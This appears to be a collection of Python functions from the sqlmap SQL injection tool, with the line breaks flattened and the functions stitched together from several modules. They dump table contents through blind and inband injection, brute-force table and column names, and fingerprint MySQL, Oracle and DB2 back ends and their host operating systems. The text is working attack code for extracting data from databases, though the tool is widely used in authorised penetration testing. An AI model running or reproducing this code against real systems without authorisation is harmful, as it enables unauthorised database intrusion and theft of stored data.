(DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI, DBMS.EXTREMEDB): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION]. where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) if Backend.isDbms( DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " warnMsg += "you are advised to rerun with '--force-pivoting'" singleTimeWarnMessage(warnMsg) query = rootQuery.blind.count % table query = agent.whereQuery(query) count = inject.getValue( query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if isNumPosStrValue(count): try: indexRange = getLimitRange( count, plusOne=True) for index in indexRange: row = [] for column in colList: query = rootQuery.blind.query3 % ( column, column, table, index) query = agent.whereQuery(query) value = inject.getValue( query, blind=False, time=False, dump=True) or "" row.append(value) if not entries and isNoneValue( row): break entries.append(row) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if isNoneValue( entries) and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, blind=False) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, _ = retVal entries = BigArray( _zip(*[ entries[colName] for colName in colList ])) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE): query = rootQuery.inband.query % ( colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) query = agent.whereQuery(query) if not entries and query and not kb.dumpKeyboardInterrupt: try: entries = inject.getValue(query, blind=False, time=False, dump=True) except KeyboardInterrupt: entries = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not isNoneValue(entries): if isinstance(entries, six.string_types): entries = [entries] elif not isListLike(entries): entries = [] entriesCount = len(entries) for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = { "length": len(column), "values": BigArray() } for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, six.string_types): colEntry = entry else: colEntry = unArrayizeValue( entry[index] ) if index < len(entry) else u'' maxLen = max( getConsoleLength(column), getConsoleLength( DUMP_REPLACEMENTS.get( getUnicode(colEntry), getUnicode(colEntry)))) if maxLen > kb.data.dumpedTable[column][ "length"]: kb.data.dumpedTable[column][ "length"] = maxLen kb.data.dumpedTable[column]["values"].append( colEntry) if not kb.data.dumpedTable and isInferenceAvailable( ) and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "column(s) '%s' " % colNames infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.count % ( tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) elif Backend.isDbms(DBMS.MAXDB): query = rootQuery.blind.count % tbl elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.count % (conf.db, tbl) else: query = rootQuery.blind.count % (conf.db, tbl) query = agent.whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming( conf.db) warnMsg += "appears to be empty" logger.warn(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming( conf.db) logger.warn(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI): if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL, DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.INFORMIX): table = "%s:%s" % (conf.db, tbl) if Backend.isDbms( DBMS.MSSQL) and not conf.forcePivoting: warnMsg = "in case of table dumping problems (e.g. column entry order) " warnMsg += "you are advised to rerun with '--force-pivoting'" singleTimeWarnMessage(warnMsg) try: indexRange = getLimitRange(count, plusOne=True) for index in indexRange: for column in colList: query = rootQuery.blind.query3 % ( column, column, table, index) query = agent.whereQuery(query) value = inject.getValue( query, union=False, error=False, dump=True) or "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() lengths[column] = max( lengths[column], len( DUMP_REPLACEMENTS.get( getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if not entries and not kb.dumpKeyboardInterrupt: try: retVal = pivotDumpTable(table, colList, count, blind=True) except KeyboardInterrupt: retVal = None kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) if retVal: entries, lengths = retVal else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms( ) in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) if len(colList) < len( indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: debugMsg = "checking for empty columns" logger.debug(infoMsg) for column in colList: if not inject.checkBooleanExpression( "(SELECT COUNT(%s) FROM %s)>0" % (column, kb.dumpTable)): emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % ( column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) try: for index in indexRange: for column in colList: value = "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in ( DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, ): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.getIdentifiedDbms() in ( DBMS.MIMERSQL, ): query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in ( DBMS.SQLITE, DBMS.EXTREMEDB): query = rootQuery.blind.query % ( agent.preprocessField( tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % ( index, agent.preprocessField(tbl, column), tbl) elif Backend.isDbms(DBMS.INFORMIX): query = rootQuery.blind.query % ( index, agent.preprocessField( tbl, column), conf.db, tbl, sorted(colList, key=len)[0]) elif Backend.isDbms(DBMS.FRONTBASE): query = rootQuery.blind.query % ( index, agent.preprocessField( tbl, column), conf.db, tbl) else: query = rootQuery.blind.query % ( agent.preprocessField(tbl, column), conf.db, tbl, index) query = agent.whereQuery(query) value = NULL if column in emptyColumns else inject.getValue( query, union=False, error=False, dump=True) value = '' if value is None else value lengths[column] = max( lengths[column], len( DUMP_REPLACEMENTS.get( getUnicode(value), getUnicode(value)))) entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = { "length": length, "values": columnEntries } entriesCount = len(columnEntries) if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming( tbl) warnMsg += "in database '%s'%s" % ( unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warn(warnMsg) else: kb.data.dumpedTable["__infos__"] = { "count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db) } try: attackDumpedTable() except (IOError, OSError) as ex: errMsg = "an error occurred while attacking " errMsg += "table dump ('%s')" % getSafeExString(ex) logger.critical(errMsg) conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException as ex: errMsg = "connection exception detected in dumping phase " errMsg += "('%s')" % getSafeExString(ex) logger.critical(errMsg) finally: kb.dumpColumns = None kb.dumpTable = None
def _commentCheck(self): infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression( "[RANDNUM]=[RANDNUM]/* NoValue */") if not result: warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL logger.warn(warnMsg) return None # MySQL valid versions updated on 04/2011 versions = ( (32200, 32235), # MySQL 3.22 (32300, 32359), # MySQL 3.23 (40000, 40032), # MySQL 4.0 (40100, 40131), # MySQL 4.1 (50000, 50092), # MySQL 5.0 (50100, 50156), # MySQL 5.1 (50400, 50404), # MySQL 5.4 (50500, 50521), # MySQL 5.5 (50600, 50604), # MySQL 5.6 (60000, 60014), # MySQL 6.0 ) index = -1 for i in xrange(len(versions)): element = versions[i] version = element[0] version = getUnicode(version) result = inject.checkBooleanExpression( "[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) if result: break else: index += 1 if index >= 0: prevVer = None for version in xrange(versions[index][0], versions[index][1] + 1): version = getUnicode(version) result = inject.checkBooleanExpression( "[RANDNUM]=[RANDNUM]/*!%s AND [RANDNUM1]=[RANDNUM2]*/" % version) if result: if not prevVer: prevVer = version if version[0] == "3": midVer = prevVer[1:3] else: midVer = prevVer[2] trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) return trueVer prevVer = version return None
def tableExists(tableFile, regex=None): result = inject.checkBooleanExpression( "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() if result: errMsg = "can't use table existence check because of detected invalid results " errMsg += "(most probably caused by inability of the used injection " errMsg += "to distinguish errornous results)" raise SqlmapDataException(errMsg) tables = getFileItems(tableFile, lowercase=Backend.getIdentifiedDbms() in (DBMS.ACCESS, ), unique=True) infoMsg = "checking table existence using items from '%s'" % tableFile logger.info(infoMsg) tables.extend(_addPageTextWords()) tables = filterListValue(tables, regex) threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(tables) threadData.shared.value = [] threadData.shared.unique = set() def tableExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: table = safeSQLIdentificatorNaming( tables[threadData.shared.count], True) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms( ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): fullTableName = "%s%s%s" % ( conf.db, '..' if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) else '.', table) else: fullTableName = table result = inject.checkBooleanExpression( "%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.io.acquire() if result and table.lower() not in threadData.shared.unique: threadData.shared.value.append(table) threadData.shared.unique.add(table.lower()) if conf.verbose in (1, 2) and not hasattr(conf, "api"): clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime( "%X"), unsafeSQLIdentificatorNaming(table)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % ( threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout( "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, tableExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during table existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = "no table(s) found" logger.warn(warnMsg) else: for item in threadData.shared.value: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [item] else: kb.data.cachedTables[conf.db].append(item) for _ in ((conf.db, item) for item in threadData.shared.value): if _ not in kb.brute.tables: kb.brute.tables.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_TABLES, kb.brute.tables, True) return kb.data.cachedTables
def getFingerprint(self): fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) if fork is None: if inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'"): fork = FORK.MARIADB elif inject.checkBooleanExpression("VERSION() LIKE '%TiDB%'"): fork = FORK.TIDB elif inject.checkBooleanExpression( "@@VERSION_COMMENT LIKE '%drizzle%'"): fork = FORK.DRIZZLE elif inject.checkBooleanExpression( "@@VERSION_COMMENT LIKE '%Percona%'"): fork = FORK.PERCONA elif inject.checkBooleanExpression( "AURORA_VERSION() LIKE '%'" ): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA else: fork = "" hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp and not conf.api: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp and not conf.api: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer if fork: value += " (%s fork)" % fork return value comVer = self._commentCheck() blank = " " * 15 value += "active fingerprint: %s" % actVer if comVer: comVer = Format.getDbms([comVer]) value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") if banVer: if banVer and re.search(r"-log$", kb.data.banner or ""): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) if fork: value += "\n%sfork fingerprint: %s" % (blank, fork) return value
def columnExists(columnFile, regex=None): if not conf.tbl: errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.db = conf.db.upper() result = inject.checkBooleanExpression( safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) if result: errMsg = "can't use column existence check because of detected invalid results " errMsg += "(most probably caused by inability of the used injection " errMsg += "to distinguish errornous results)" raise SqlmapDataException(errMsg) infoMsg = "checking column existence using items from '%s'" % columnFile logger.info(infoMsg) columns = getFileItems(columnFile, unique=True) columns.extend(_addPageTextWords()) columns = filterListValue(columns, regex) table = safeSQLIdentificatorNaming(conf.tbl, True) if conf.db and METADB_SUFFIX not in conf.db and Backend.getIdentifiedDbms( ) not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): table = "%s.%s" % (safeSQLIdentificatorNaming(conf.db), table) kb.threadContinue = True kb.bruteMode = True threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(columns) threadData.shared.value = [] def columnExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: column = safeSQLIdentificatorNaming( columns[threadData.shared.count]) threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break result = inject.checkBooleanExpression( safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.io.acquire() if result: threadData.shared.value.append(column) if conf.verbose in (1, 2) and not hasattr(conf, "api"): clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime( "%X"), unsafeSQLIdentificatorNaming(column)) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % ( threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout( "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: runThreads(conf.threads, columnExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during column existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = "no column(s) found" logger.warn(warnMsg) else: columns = {} for column in threadData.shared.value: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ): result = not inject.checkBooleanExpression( "%s" % safeStringFormat( "EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat( "EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) if result: columns[column] = 'numeric' else: columns[column] = 'non-numeric' kb.data.cachedColumns[conf.db] = {conf.tbl: columns} for _ in map(lambda x: (conf.db, conf.tbl, x[0], x[1]), columns.items()): if _ not in kb.brute.columns: kb.brute.columns.append(_) hashDBWrite(HASHDB_KEYS.KB_BRUTE_COLUMNS, kb.brute.columns, True) return kb.data.cachedColumns
def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) query = "(SELECT LENGTH(OS_NAME) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_NAME LIKE '%WIN%')>0" result = inject.checkBooleanExpression(query) if not result: Backend.setOs(OS.LINUX) else: Backend.setOs(OS.WINDOWS) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if result: versions = { "2003": ("5.2", (2, 1)), "2008": ("7.0", (1, )), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), "XP": ("5.1", (2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "(SELECT LENGTH(OS_VERSION) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_VERSION = '%s')>0" % data[ 0] result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): return # Get back-end DBMS underlying operating system service pack for sp in versions[Backend.getOsVersion()][1]: query = "(SELECT LENGTH(OS_RELEASE) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_RELEASE LIKE '%Service Pack " + str( sp) + "%')>0" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): Backend.setOsServicePack(0) debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg)
def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or conf.dbms in ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() return True infoMsg = "testing %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting # directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression("ROWNUM=ROWNUM") if result: infoMsg = "confirming %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression( "LENGTH(SYSDATE)=LENGTH(SYSDATE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False setDbms(DBMS.ORACLE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.ORACLE logger.info(infoMsg) for version in ("11i", "10g", "9i", "8i"): number = int(re.search("([\d]+)", version).group(1)) output = inject.checkBooleanExpression( "%d=(SELECT SUBSTR((VERSION), 1, %d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) if output: Backend.setVersion(version) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False